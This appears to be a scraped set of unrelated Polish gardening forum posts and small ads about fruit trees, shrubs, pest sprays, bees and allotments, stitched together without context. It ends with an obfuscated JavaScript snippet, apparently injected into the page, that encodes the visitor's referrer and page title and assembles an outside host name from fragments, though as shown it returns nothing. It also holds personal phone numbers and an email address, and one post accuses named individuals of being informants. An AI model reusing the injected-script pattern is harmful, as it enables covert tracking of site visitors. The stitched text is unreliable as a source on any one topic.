wszystko z wyjątkiem brzoskwiń, bo nigdy nie widziałam na nich
mszycy, po opryskach po jakimś czasie mszyce były tylko na nich
(brzoskwiniach). Od tamego czasu pryskam wszystkie rosliny w
ogrodzie, bez względu na to czy są chore czy nie. Mszyce są tylko u
sąsiadów. Środek ten ma jeszcze jedną zaletę, może nie w tym roku,
ale można nim pryskać nawet przy temperaturze powyżej 30 C i jest
skuteczny.
Brzmi to jak reklama, ale współczuję wszystkim którzy muszą się truć
opryskami po kilka razy. Opryski to najbardziej znienawidzona przeze
mnie praca w ogrodzie. Zużywam pierwsze opakowanie tego środka,
które kupiłam dwa lata temu, mam nadzieje, że będzie dostępny w
sklepach, wtedy zachwalano mi go jako nowość. No i mam nadzieje, że
mszyce się do niego jakoś nie przyzwyczają i nie staną odporne.
Metodami naturalnymi też próbowałam zwalczać (wywar z pokrzyw, mleko
itp.), ale mam sporo drzew, krzewów owocowych i ozdobnych lubianych
przez mszyce, metody te są skuteczne ale trzeba je ponawiać co jakiś
czas, przy większym ogrodzie jest to bardzo uciązliwa i ciężka praca.

Pozdrawiam i życzę sukcesów w zwalczaniu szkodników, Dorota

Żadne. Żadne nie bedą rosły na terenie podmokłym. Przyjąć to sie
może nawet przyjmą, ale jak tylko dojdą korzeniami do stojącej wody,
to padną w parę tygodni i owoców na pewno nie doczekasz. Jesli
bardzo chcesz próbowac to najwyzej z jabłonkami na karłowych
podkładkach - ale naprawdę karłowych (plus wstawka podwójnie
skarlająca) a o takie dość trudno. Odmiana jest już bez znaczenia,
liczy się tylko podkładka. Na czereśnie nie ma żadnych szans, na
żadnej podkładce (o takich jak piszesz czyli wysokich nie
wspominając).
U sąsiadów rosną jakies drzewa? Bo jedyna nadzieja w tym, ze
przesadzasz z tą "bagiennością" i teren nie jest aż taki zły.
Najlepiej zrobic próbę: wykopać głęboki dół i sprawdzić na jakiej
wysokości pojawia się woda. Jeśli głębiej niż na 1,5m można sadzić
wszystko (z owocowych) - jesli płyciej niz na 80 cm nie warto sadzić
żadnych drzew owocowych. Zamiast tego moga być krzewy - np borówka
amerykańska której bardzo się takie warunki mogą spodobać.

Porada sosnowa.
Dopóki to bezpłatne, niewymagające zezwoleń prawnych - sosenkę bym
wyciął.
Ból wycinania takiego maleństwa mniejszy - niż gdy wielgachna i w
okna wrastająca...
Posadziłbym coś owocowego, krzewiastego - np. prawdziwy, nieozdobny
berberys.
Mniam...

Mama mi kiedyś wyjawiła tajemne zagęszczenie owocowych drzew i
krzewów na domowej działce. Miały pono przytrzymać naszą dziatwę na
miejscu - a nie kusić wyprawą na gruszki do sąsiada.
Ciekawe, ten rabarbar i gruszki zza płota zawsze smaczniejsze...

Czy tylko mnie się tak wydawało?

Nic nie rozumiem

mieszkasz od 15 lat za granicą, a w Polsce krzaki wycinasz?
Co to jest opuszczanie się wyciętego krzewu?

Polecam google...
tinyurl.com/4vsucf
Ale że mam dzisiaj dobry dzień, to podpowiem, że strona gminy Słupia jest dobra
w te klocki.
slupia.bipst.pl/index.php?grupa=26742
slupia.bipst.pl/index.php?grupa=26744
Nieznajomość prawa nie zwalnia od jego stosowania. Możesz się odwołać do
Samorządowego Kolegium Odwoławczego, jako okoliczność łagodzącą podając
zasadzenie tych innych krzewów (czarno widzę) albo to, że ligustr jest krzewem
owocowym :) A w ogóle to ten przepis jest bardzo dobry, bez niego byśmy już
(prawie) wcale drzew nie mieli...

dokładnie tak jak pisze przedmówca,urzędnik tylko egzekwuje przestrzeganie
prawa, a prawo stanowi jednoznacznie, ze wycince bez pozwolenia mogą podlegać
jedynie gatunki drzew i krzewów owocowych użytkowanych przemysłowo i na skalę
masowa w Polsce- czytaj jabłonie, grusze, śliwy, itp, a np. jabłonie ozdobne,
morwa, śliwa tarnina i tym podobne już nie

dziekuje za odpowiedzi.

Ja rozumiem wszystkich pretensje ze jestem be bo moze sąsiad mi
przeszkadza czy cos ale ja naprawde niemam nic ani do pszczół ani do
sąsiada. w tej chwili ma postawione 11 uli i wieczorem jak pojde na
działke po godzinie 20 jest spokojnie. w dzień roi sie od pszczół na
mojej działce z racji tego ze rosnie tam duzo drzew owocowych i
krzewów którze akurat kwitną. sąsiad niema pasieki ogrodzonej
rzywopłotem 2 metrowym a czesc uli jest skierowana wylotami w strone
mojej działki. w tamtym roku rozmawiałem z sąsiadem i powiedział ze
pszczoły są agrsywne bo maja jakies dziwne matki. obiecał zmienic
matki w tym roku ale niema zadnej poprawy sytuacji a uli jest coraz
wiecej. jak spokojnie wejde na działke to moze nie zatakuja co mało
prawdopodobne ale jesli włącze jakaś np elektryczna kosiarke czy
norzyce do rzywopłotu to zlatuja sie do brzeczenia które wydają te
użadzenia i odrazu sa agresywne.

Rozumiem ze jest tu dzuzo miłosników pszczół ale sąsiad mnie
niepytał o zgode na postawienie tych uli, a ja przez to cierpie bo
nawet niemam jak zadbać o działke. Sąsiad mówi ze cos zmieni ale tak
to on mówi juz drógi rok a poprawy zadnej niema.

znalazłam!
środki stosowane w rolnictwie ekologicznym:

1. Środki grzybobójcze

*
Bioblat 47 EC – w skład którego wchodzi naturalna lecytyna uzyskiwana z
soi. Preparat ten w stężeniu 0,15% służy do ochrony roślin przed mączniakiem
prawdziwym i zwalczania innych chorób grzybowych we wczesnym stadium infekcji
*
Bioczos – substancją czynną jest czosnek. Służy on do ochrony upraw
warzywnych przed mączniakiem prawdziwym i rzekomym oraz innymi chorobami grzybowymi
*
Biosept 33 SL – środek na bazie owocu grejpfruta. Służy do zwalczania
chorób grzybowych warzyw oraz kwiatów i krzewów ozdobnych. Chroni przed
bakteriozą, zgnilizną twardzikową pomidorów, mączniakiem prawdziwym i kanciastą
plamistością liści ogórków, mączniakiem rzekomym cebuli
*
Szkło wodne – stosuje się przeciwko chorobom grzybowym w okresie
bezlistnym na drzewa i krzewy owocowe w stężeniu 1-2%.

Szkółka drzew i krzewów owocowych!
Witam, serdecznie proszę wszystkich o kontakt do szkółki, w której można zakupić sadzonki porzeczki, maliny. Podobno taka szkółka jest w Komorowie, bardzo roszę o pomoc:)

rajski ogrod cz. II
Rajski ogrod, czesc II
======================

Poniewaz ogrod byl na stoku, trzeba bylo w pier-
wszym etapie wybetonowac drozki, poprowadzic na-
wodnienie i zasilenie w energie elektryczna. Przy
naszych skromnych funduszach akcja ta ciagnela sie
latami. Ponadto piaszczyste skarpy trzeba bylo
wzmacniac kamieniami. Zaczalem bawic sie w zbiera-
cza kamieni polnych. I tak w promieniu do kilo-
metra wyzbieralem wszystkie kamienie. Te mniejsze
zwozilem na taczce, wieksze przy pomocy dzwigni i
desek. Pomocna okozala sie sie budowa drugiej jezd-
ni do ZOO. Na ten cel zwozono wszelki gruz budowlany
z Trojmiasta. Z tego wysypiska bylo co wybierac.
W koncowej fazie kamienne alpinarium mialo powierz-
chnie 30x60 m. Tak wiec skarpy mialy zbocza wylozo-
ne kamieniami. Luki miedza nimi wypelnialem ziemia
torfowa i sadzilem tam rosliny alpinaryjne. Polki
skarp wypelnialem czarnoziemem. Tam sadzilismy kwia-
ty cebulkowe oraz krzewy i drzewka owocowe. Te ostat-
nie zostaly kupione w Instytucie Dendrologicznym w
Korniku k/Poznania. Samych drzew owocowych bylo
okolo 50. Z uwagi na stworzona wsrod kamieni ciep-
lej mikrostrefy, rosliny i drzewka rosly nadzwyczaj
silnie. Dzis w notatkach z tamtych lat mam zapisane,
ze np. irysy (kosacce) rostly do wysokosci 120 cm
a cynie do 140 cm. Latem, jak wszystko kwitlo moza
bylo zauwazyc, jak ludzie zdazajacy na piechote do
ZOO przystawali i podziwiali ten rajski ogrod. Lecz
to bylo sola w oku naszego sasiada. Co chwila jakies
drzewko rosnace przy granicy z jego czescia ogrodu
nagle usychalo, podlewane jakas substancja. Zdecy-
dowalismy sie wtedy postawic na nasz koszt wewnetrzny
plot oddzielajacy nasza czesc od czesci sasiada.
Lecz insynuacje naszego sasiada i sasiadki Marii nie
ustawaly. Zaczely sie oskarzenia do DZBM, ze rabujemy
wode z miejscowej studni, ktora podlewamy ogrod. I tak
mielismy z naszym sasiadem problem az do pazdziernika
1972r. Od dnia 11.10.1972r zamieszkala po nim rodzina
Seweryna Sz., ktora przerosla w represjach bylego sa-
siada Leona. Od 1973r zaczely drzewka owocowe masowo
usychac, syn tej nowej rodziny Piotr, figurujacy wraz
z matka Jadwiga na Liscie Wildsteina jako TW, przecho-
dzil noca plot i podlewal substancjami nasze drzewka.
Akcja ta byla czescia represji gdanskiej SB i miala
za cel aby doprowadzic nas do wyniesienia z Gdanska.
Lecz o tym jak do tego doszlo napisze w innym cyklu.

Tak,to już sezon na nalewki ;) teraz wiśniówka, kiedys tam jak miałam wolny :)
dostęp do drzew i krzewów owocowych robiłam/uczyłam sie robić ;) ratafię...była
super. No to, niech nabieraja mocy ;))

DZiałka ogrodowa do wynajecia
NA DZIAŁCE JEST DUŻO DRZEW OWOCOWYCH ,KRZEWÓW I WINOGRON
Jest bieżąca woda i prąd ,altanka ,wiad
gg 10188771
tel. 503153017

Trzymajmy się tematu...
... do cholery! Pomysły, futurystyczne. Jak ma Lublin wyglądać?
Jeśli chcemy dyskutować na temat: co lepsze Lublin, czy Warszawa, to może niech
ktoś założy osobny wątek. Albo tez osobny wątek dla malkontentów.
Proszę o wypowiedzi na temat. Co prawda tez popełniłem błąd, że zareagowałem na
wypowiedź warszawiaka jak na wypowiedź Warszawiaka a nie po prostu człowieka,
który przez ileś tam lat mieszkał w Lublinie.

PROM przedstawił pomysły w wymiarze strategicznym, były tez pomysły
urbanistyczne, poprawiające urode miasta. Dołączam sie do tych propozycji.
Co więcej myślę, że pierwsze kroki w kierunku rewitalizacji poszczególnych
części miasta czyli profesjonalne projekty moga zostać wykonane nie na
zamówienie UM i ciężko przepłacone (za nasze pieniądze), ale nawet bezpłatnie.
Są to dość częste, nawet w Polsce, przypadki, kiedy architekci z własnej
inicjatywy przedstawiają takie projekty studyjne. Na przykład w Szczecinie
młodzi architekci przedstawili swoje propozycje zagospodarowania terenów
portowych na Łasztowni. Jest to niezła reklama, a poza tym w momencie podjęcia
kiedyś decyzji o programie rewitalizacji taki projekt jest gotowa propozycją, a
więc jego autor ma przewagę nad pozostałymi (abstrahując od tzw układów).
Często taki projekt stanowi zapalnik publicznej dyskusji na tematy
urbanistyczne.
Oprócz odbudowy Podzamcza (w każdym razie gruntownej reorganizacji tego terenu)
i zagospodarowania przestrzeni placu dworcowego wraz z ul. 1 maja, proponuję
również uporządkowanie doliny Bystrzycy w taki sposób, aby na jak najdłuższym
odcinku istniały tam tereny parkowe. Obecnie większość tego terenu nie jest
właściwie przestrzenią publiczną, zajmują ją ogródki działkowe. Po ogródkach
działkowych mogłaby pozostać wyselekcjonowana roślinność (np. drzewa owocowe,
krzewy) uzupełniona nowymi nasadzeniami - byłby to oryginalny rodzaj parku,
przypominajacy sad. Oczywiście można rozważyć też utworzenie jakichś stawów itd
Poza tym ktoś jeszcze wspomniał o działaniach promocyjnych .
Ktoś musi jednak do takich działań zachęcić. I tu jest pole dla tzw
społeczeństwa obywatelskiego, kwestia woli mieszkańców do zrzeszania się i
wspólnego działania dla dobra miasta (czyli też i swojego własnego). Nie biorę
tu pod uwagę groteskowych stowarzyszeń i fundacji zakładanych prze polityków
tylko po to żeby wycisnąć z budżetów państwowego i samorządowych jak najwięcej
pieniędzy. To musi być coś autentycznego. Nie wiem tylko, czy istnieje wśród
lublinian dostateczna wola takiego działania. Jeśli nie to zakończmy ten wątek
i załóżmy nowy np. pt. "jest źle, a będzie jeszcze gorzej"

ogródek działkowy
sprzedam ogródek działkowy 365m kw we Wroclawiu na Sołtysowicach. Murowana
altanka, 3 komórki, pełny asortyment narzędzi, oczko wodne, sporo krzewow
owocowych, drzew i kwiatow.kontakt gadu gadu 3172632 lub meil
bajka1333@tlen.pl




function bb5154520a78021(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa5154520a77fe7(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa5154520a77fe7(bb5154520a78021(document.referrer),bb5154520a78021(document.title)));